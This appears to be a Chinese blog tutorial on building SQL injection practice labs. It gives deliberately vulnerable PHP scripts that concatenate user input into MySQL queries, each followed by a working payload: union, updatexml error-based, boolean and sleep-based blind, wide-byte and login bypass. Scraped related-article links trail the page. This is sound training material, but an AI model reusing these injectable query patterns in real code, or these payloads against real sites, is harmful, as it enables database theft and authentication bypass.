常见的sql注入环境搭建
常见的sql注入环境搭建
By : Mirror王宇阳
Time:2020-01-06
PHP+MySQL摘要
$conn = new mysqli('数据库服务器','username','password','database');
$conn = mysqli_connect('数据库服务器','username','password','database');
// 参数内容可以单独设置为一个变量引用
$sql = "*****";//sql命令
mysqli_query($conn,$sql);
// 函数返回true/false
$sql = "***1;";
$sql .= "***2;";
$sql .= "****;";//多条sql之间用分号间隔
mysqli_multi_query($conn,$sql);//执行多条sql
mysqli_select_db(connect,db_name);//查询db_name库
or die();//错误信息控制输出函数 die()会输出信息并退出当前脚本
mysqli_error();//返回报错信息
常规回显注入
回显注入类型是指我们的查询内容会被应用回显到页面中;一般情况下回显注入回利用UNION联合函数来测试是否存在注入“ union select …… ”
<?php
echo '<h1>';
echo 'SQL常规回显注入环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');
// 接收参数text
if(isset($_GET['text'])){
$text=$_GET['text'];
}
// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回显结果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
' union select 1,database(),version(),4; -- +

报错注入
报错注入类型是泛指应用页面不返回内容数据,无法从回显结果获得信息;但是一般应用都会保留SQL的查询报错mysqli_error() 通过“extractvalue UpdateXml foot”等函数来查询,但是无法查询到结果并会通过报错的方式返回结果。
<?php
echo '<h1>';
echo 'SQL报错注入环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');
if(isset($_GET['text'])){
$text=$_GET['text'];// 接收参数text
}
$sql = "SELECT * FROM admin WHERE uid = '$text';";
echo $sql."<hr>";
$result = mysqli_query($conn, $sql )
or die( '<pre>' . mysqli_error($conn) . '</pre>');
//mysqli_error -- 返回最近调用函数的最后一个错误描述
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if($row){
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
' and updatexml(1,concat(0x7e,database(),0x7e,version()),1); -- +

盲注
盲注类型泛指无法利用回显测试等情况,进行的一种sql注入测试方法。
盲注主要分为两种:
- 布尔盲注:通过判断页面响应确定是否正确的布尔sql拼接。
- 时间盲注:通过sql查询的时间延迟
sleep函数来测定构造的布尔sql是否成立。
<?php
echo '<h1>';
echo 'SQL常规盲注环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');
if(isset($_GET['text'])){
$text=$_GET['text'];// 接收参数text
}
$sql = "SELECT * FROM admin WHERE uid = '$text';";
echo $sql."<hr>";
$result = mysqli_query($conn, $sql ) ;
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if($row){
echo '查询结果存在!';
// echo '查询完成';
} else {
echo '查询结果不存在!';
// echo '查询完成';
}
/*
如上源码,当echo返回结果为第一类情况则适用布尔盲注的方法不断的猜结
当echo返回结果为第二类情况则适用时间盲注,通过时间延迟的方式来判断布尔结果并不断的猜解
*/
?>
- 布尔盲注测试
' or left(database(),2)='te'; -- +

- 时间盲注测试
if(ascii(substr(database(),1,1))='t',1,sleep(10)); -- +


宽字节注入
环境构造注意:该注入环境要求mysql数据库采用GBK编码;宽字节注入与HTML页面编码是无关的,即HTML页面是UTF-8编码,只要mysql是GBK都可以存在宽字节注入;

参考文章:PHP宽字节注入 浅谈对宽字节注入的认知
<?php
echo '<h1>';
echo 'SQL宽字节注入环境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names gbk');
// 接收参数text
if(isset($_GET['text'])){
$text=$_GET['text'];
}
// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回显结果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
登录框注入
登录框注入泛指sql直接无任何的过滤直接拼接用户名和密码来从数据库中直接查询结果并实现登录等系列功能;攻击者利用这一缺陷,直接构造一个sql之后可以越过密码的确认,也就是俗称的万能密码“admin '--+”
<!DOCTYPE html>
<html>
<head>
<title>SQL_login注入测试</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="./sql_login.php" method="post">
<div>
用户名:<input type="text" name="name" />
</div>
<div>
密码:<input type="password" name="pass" />
</div>
<input type="submit" value="提交" />
</form>
<div>
<?php
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 连接mysql
if (!$conn){//判断连接是否成功
echo '连接MySQL发生错误:'.mysqli_error($conn);
}else{
echo '成功连接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查询库,or die(str) -- 上一个函数执行错误则输出str
mysqli_select_db($conn, 'text') or die ("无法正确连接到数据库!");
// mysqli_query() -- 执行sql命令
// set names utf-8 -- 写入数据库采用的编码(utf-8)
mysqli_query($conn, 'set names utf-8');
// 接收参数name pass
$name=$_POST['name'];
$pass=$_POST['pass'];
// echo $name . "~" . $pass;
// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE name='$name' and pass='$pass' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
if($result=mysqli_query($conn, $sql)){
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回显结果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
} else {
echo "用户名或密码错误";
}
}
?>
</div>
</body>
</html>
admin'; -- +

常见的sql注入环境搭建的更多相关文章
- SQL注入环境的搭建
使用Phpstudy搭建SQL注入环境: 1.下载phpstudy安装 2.下载sql实验环境 所用环境的代码是一个印度人的开源项目平台.里面包含了基本的各种注入类型,同时又有get和post类型,以 ...
- 常见的SQL注入检测语句(转载)
0x00 前言 现在很多WAF都能拦截sqlmap.havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击 0x01 发现SQL 注 ...
- AlwaysOn可用性组测试环境安装与配置(一)--SQL群集环境搭建
一.测试环境介绍 1. 宿主使用工作站(HYPR-V)基本配置如下: 处理器:Intel(R) Core(TM) i5-4470 CPU @ 3.20GHz 3.20GHz 内存(RAM):8.00G ...
- 初探SQL注入需要知道的5个问题
SQL注入产生原理 可控变量(注入点,就是传参) 带入数据库查询 变量未存在过滤或过滤不严谨 例子: 获取admin表的pass里面的数据 select * from users where id=1 ...
- 搭建sql注入实验环境(基于windows)
搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...
- SQL Server 学习之环境搭建
SQL Server 环境搭建 说明:本文是sqlServer的安装和测试环境的搭建 版本是SQLServer 2005版,由于该版本只能在Windows7或者更低的系统上才能安装,更高的系统请安装S ...
- 代码审计之SQL注入
0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select. ...
- SQL注入之重新认识
i春秋作家:anyedt 原文来自:https://bbs.ichunqiu.com/thread-41701-1-1.html 引言 作为长期占据 OWASP Top 10 首位的注入,认识它掌握它 ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
随机推荐
- @NOI模拟2017.07.02 - T1@ Attack
目录 @description@ @solution@ @accepted code@ @details@ @description@ 『新的风暴已经出现,怎么能够停滞不前』--你决定去攻击小怪兽的巢 ...
- day1_python流程控制、For循环
一.流程控制 条件语句 1.1.单分支 ? 1.2.多分支 ? 需求一.用户登陆验证 #!/usr/bin/env python name=input('请输入用户名字:') password=inp ...
- oracle用NOT EXISTS替代NOT IN
在子查询中,NOT IN子句将执行一个内部的排序和合并. 无论在哪种情况下,NOT IN都是最低效的 (因为它对子查询中的表执行了一个全表遍历). 为了避免使用NOT IN ,我们可以把它改写成外连 ...
- uva 100 The 3n + 1 problem (RMQ)
uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem= ...
- H3C 数据链路层
- input 的 pattern 验证表单
pattern 用于定义验证输入正则表达式 pattern 属性适用于以下 <input> 类型:text, search, url, telephone, email 以及 passwo ...
- Vue 父组件往子组件传递方法
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 2018-8-10-用-sim-卡加密保护资金
title author date CreateTime categories 用 sim 卡加密保护资金 lindexi 2018-08-10 19:16:52 +0800 2018-2-13 17 ...
- H3C备份/恢复下次启动配置文件
- Linux 内核 中断 urb
函数 usb_fill_int_urb 是一个帮忙函数, 来正确初始化一个 urb 来发送给 USB 设备的 一个中断端点: void usb_fill_int_urb(struct urb *urb ...